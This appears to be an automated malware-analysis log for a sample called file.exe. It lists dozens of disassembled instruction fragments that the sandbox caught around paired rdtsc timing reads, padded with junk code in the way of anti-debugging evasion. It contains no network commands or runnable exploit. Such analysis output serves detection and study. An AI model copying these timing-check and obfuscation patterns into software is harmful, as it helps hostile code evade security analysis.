Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940D05 second address: 4940D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDEA6BF6D1Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDE34C00CDBh 0x00000018 jmp 00007FDE34C00CE3h 0x0000001d popfd 0x0000001e mov dl, cl 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940D44 second address: 4940D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 12D261A7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [eax+04h], 00000005h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FDE34EAC872h 0x00000017 jmp 00007FDE34EAC872h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B8ED5 second address: 3B8EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B8EE1 second address: 3B8EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE34EAC866h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B8EEC second address: 3B8EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3B9078 second address: 3B908D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jc 00007FDE34EAC87Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FDE34EAC866h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4960386 second address: 496038C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496038C second address: 4960390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4960390 second address: 49603E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov esi, 2E65157Bh 0x00000012 mov dx, si 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FDE34C00CDDh 0x0000001c xchg eax, ebp 0x0000001d jmp 00007FDE34C00CDEh 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDE34C00CE7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49603E8 second address: 496041E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FDE34EAC86Eh 0x00000011 mov ecx, dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 mov edx, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49506E5 second address: 495070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CDDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495070A second address: 495072E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495072E second address: 4950734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950734 second address: 4950738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950738 second address: 4950757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE34C00CE4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950757 second address: 49507C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDE34EAC874h 0x00000012 xor ch, 00000068h 0x00000015 jmp 00007FDE34EAC86Bh 0x0000001a popfd 0x0000001b jmp 00007FDE34EAC878h 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDE34EAC877h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49507C0 second address: 49507FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, 1D24E5E9h 0x00000012 call 00007FDE34C00CE6h 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49507FE second address: 4950829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC870h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b jmp 00007FDE34EAC86Dh 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950829 second address: 495082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495082F second address: 4950835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950835 second address: 4950839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950839 second address: 495083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495083D second address: 495086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDE34C00CE3h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDE34C00CE0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495086E second address: 4950874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950874 second address: 495087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495087A second address: 495087E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495087E second address: 49508C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FDE34C00CE1h 0x00000014 sub ecx, 0B922D76h 0x0000001a jmp 00007FDE34C00CE1h 0x0000001f popfd 0x00000020 jmp 00007FDE34C00CE0h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49508C7 second address: 4950928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FDE34EAC876h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDE34EAC86Ch 0x00000019 or cx, 0C28h 0x0000001e jmp 00007FDE34EAC86Bh 0x00000023 popfd 0x00000024 jmp 00007FDE34EAC878h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950928 second address: 495092E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495092E second address: 4950932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495098D second address: 495099C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495099C second address: 49509A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49509A2 second address: 49509A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49509A6 second address: 49509BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49509BC second address: 49509E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDE34C00D0Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FDE34C00CE2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950010 second address: 4950016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950016 second address: 495001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495001C second address: 495007C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 call 00007FDE34EAC873h 0x00000015 call 00007FDE34EAC878h 0x0000001a pop esi 0x0000001b pop ebx 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDE34EAC86Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495007C second address: 49500A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CE5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49500A3 second address: 4950186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FDE34EAC86Eh 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDE34EAC86Eh 0x00000019 xor esi, 21325BE8h 0x0000001f jmp 00007FDE34EAC86Bh 0x00000024 popfd 0x00000025 mov esi, 6CA5E7DFh 0x0000002a popad 0x0000002b push 1C18C8BDh 0x00000030 jmp 00007FDE34EAC86Bh 0x00000035 xor dword ptr [esp], 6A8256F5h 0x0000003c pushad 0x0000003d call 00007FDE34EAC870h 0x00000042 pushfd 0x00000043 jmp 00007FDE34EAC872h 0x00000048 and ecx, 521A30A8h 0x0000004e jmp 00007FDE34EAC86Bh 0x00000053 popfd 0x00000054 pop eax 0x00000055 popad 0x00000056 call 00007FDE34EAC869h 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushfd 0x0000005f jmp 00007FDE34EAC877h 0x00000064 adc eax, 025D269Eh 0x0000006a jmp 00007FDE34EAC879h 0x0000006f popfd 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950186 second address: 49501AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CDCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49501AA second address: 4950233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FDE34EAC879h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FDE34EAC871h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007FDE34EAC871h 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FDE34EAC86Fh 0x0000002c adc esi, 68F888CEh 0x00000032 jmp 00007FDE34EAC879h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950233 second address: 495029B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 6DE2h 0x00000007 pushfd 0x00000008 jmp 00007FDE34C00CE3h 0x0000000d xor esi, 2A4CD6DEh 0x00000013 jmp 00007FDE34C00CE9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr fs:[00000000h] 0x00000022 pushad 0x00000023 pushad 0x00000024 movsx ebx, cx 0x00000027 popad 0x00000028 mov bx, ax 0x0000002b popad 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007FDE34C00CE4h 0x00000035 pop ecx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495029B second address: 49502C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC870h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e popad 0x0000000f nop 0x00000010 pushad 0x00000011 mov ecx, edx 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 sub esp, 18h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49502C6 second address: 49502CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49502CC second address: 49502D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49502D2 second address: 49502D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49502D6 second address: 49502F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop esi 0x0000000e jmp 00007FDE34EAC873h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49502F8 second address: 495033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov bx, 471Eh 0x00000012 pop edi 0x00000013 mov eax, 1DC8F91Bh 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a jmp 00007FDE34C00CDEh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495033A second address: 4950342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950342 second address: 49503A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, 2776D1D7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDE34C00CDFh 0x00000017 xor esi, 3A3C41DEh 0x0000001d jmp 00007FDE34C00CE9h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FDE34C00CE0h 0x00000029 add ecx, 0CE639D8h 0x0000002f jmp 00007FDE34C00CDBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49503A7 second address: 49503D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDE34EAC86Fh 0x00000008 pop ecx 0x00000009 mov eax, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jmp 00007FDE34EAC870h 0x00000014 mov dword ptr [esp], edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ecx, edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49503D9 second address: 4950406 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34C00CDDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950406 second address: 4950424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC871h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950424 second address: 4950428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950428 second address: 495042E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495042E second address: 495053A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 pushfd 0x00000007 jmp 00007FDE34C00CDCh 0x0000000c or cx, 7288h 0x00000011 jmp 00007FDE34C00CDBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FDE34C00CE5h 0x00000023 sbb cx, F9A6h 0x00000028 jmp 00007FDE34C00CE1h 0x0000002d popfd 0x0000002e push eax 0x0000002f pushfd 0x00000030 jmp 00007FDE34C00CE7h 0x00000035 sub ecx, 37B7ACDEh 0x0000003b jmp 00007FDE34C00CE9h 0x00000040 popfd 0x00000041 pop ecx 0x00000042 popad 0x00000043 push edx 0x00000044 jmp 00007FDE34C00CDCh 0x00000049 mov dword ptr [esp], eax 0x0000004c jmp 00007FDE34C00CE0h 0x00000051 lea eax, dword ptr [ebp-10h] 0x00000054 pushad 0x00000055 call 00007FDE34C00CDEh 0x0000005a mov edi, esi 0x0000005c pop ecx 0x0000005d pushfd 0x0000005e jmp 00007FDE34C00CE7h 0x00000063 add eax, 49B00CFEh 0x00000069 jmp 00007FDE34C00CE9h 0x0000006e popfd 0x0000006f popad 0x00000070 mov dword ptr fs:[00000000h], eax 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495053A second address: 4950540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950540 second address: 49505FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c jmp 00007FDE34C00CE0h 0x00000011 mov eax, dword ptr fs:[00000018h] 0x00000017 pushad 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FDE34C00CDCh 0x0000001f adc ax, C588h 0x00000024 jmp 00007FDE34C00CDBh 0x00000029 popfd 0x0000002a call 00007FDE34C00CE8h 0x0000002f pop eax 0x00000030 popad 0x00000031 push edx 0x00000032 mov ecx, 4B48D93Dh 0x00000037 pop ecx 0x00000038 popad 0x00000039 mov ecx, dword ptr [eax+00000FDCh] 0x0000003f jmp 00007FDE34C00CE9h 0x00000044 test ecx, ecx 0x00000046 jmp 00007FDE34C00CDEh 0x0000004b jns 00007FDE34C00D06h 0x00000051 pushad 0x00000052 mov bh, ah 0x00000054 mov bh, 34h 0x00000056 popad 0x00000057 add eax, ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FDE34C00CDCh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49505FE second address: 4950604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950604 second address: 4950627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34C00CDAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950627 second address: 4950636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940160 second address: 49401B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 4C229723h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov dx, si 0x00000012 pushfd 0x00000013 jmp 00007FDE34C00CDEh 0x00000018 and cx, 0E68h 0x0000001d jmp 00007FDE34C00CDBh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov ah, 8Dh 0x0000002a call 00007FDE34C00CE7h 0x0000002f pop ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49401B2 second address: 49401B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49401B8 second address: 49401BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49401BC second address: 494026E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FDE34EAC86Ch 0x0000000e mov ebp, esp 0x00000010 jmp 00007FDE34EAC870h 0x00000015 sub esp, 2Ch 0x00000018 pushad 0x00000019 mov ax, 39EDh 0x0000001d mov edx, esi 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 call 00007FDE34EAC872h 0x00000027 mov cx, 3E91h 0x0000002b pop ecx 0x0000002c mov ax, di 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FDE34EAC878h 0x00000036 xchg eax, ebx 0x00000037 jmp 00007FDE34EAC870h 0x0000003c xchg eax, edi 0x0000003d pushad 0x0000003e movzx eax, di 0x00000041 call 00007FDE34EAC873h 0x00000046 mov ch, E4h 0x00000048 pop edi 0x00000049 popad 0x0000004a push eax 0x0000004b pushad 0x0000004c pushad 0x0000004d call 00007FDE34EAC877h 0x00000052 pop eax 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49402DA second address: 4940301 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 323Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov edi, 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34C00CE7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940301 second address: 4940338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d mov ah, 7Fh 0x0000000f popad 0x00000010 test al, al 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDE34EAC86Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940338 second address: 494033E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 494033E second address: 4940344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
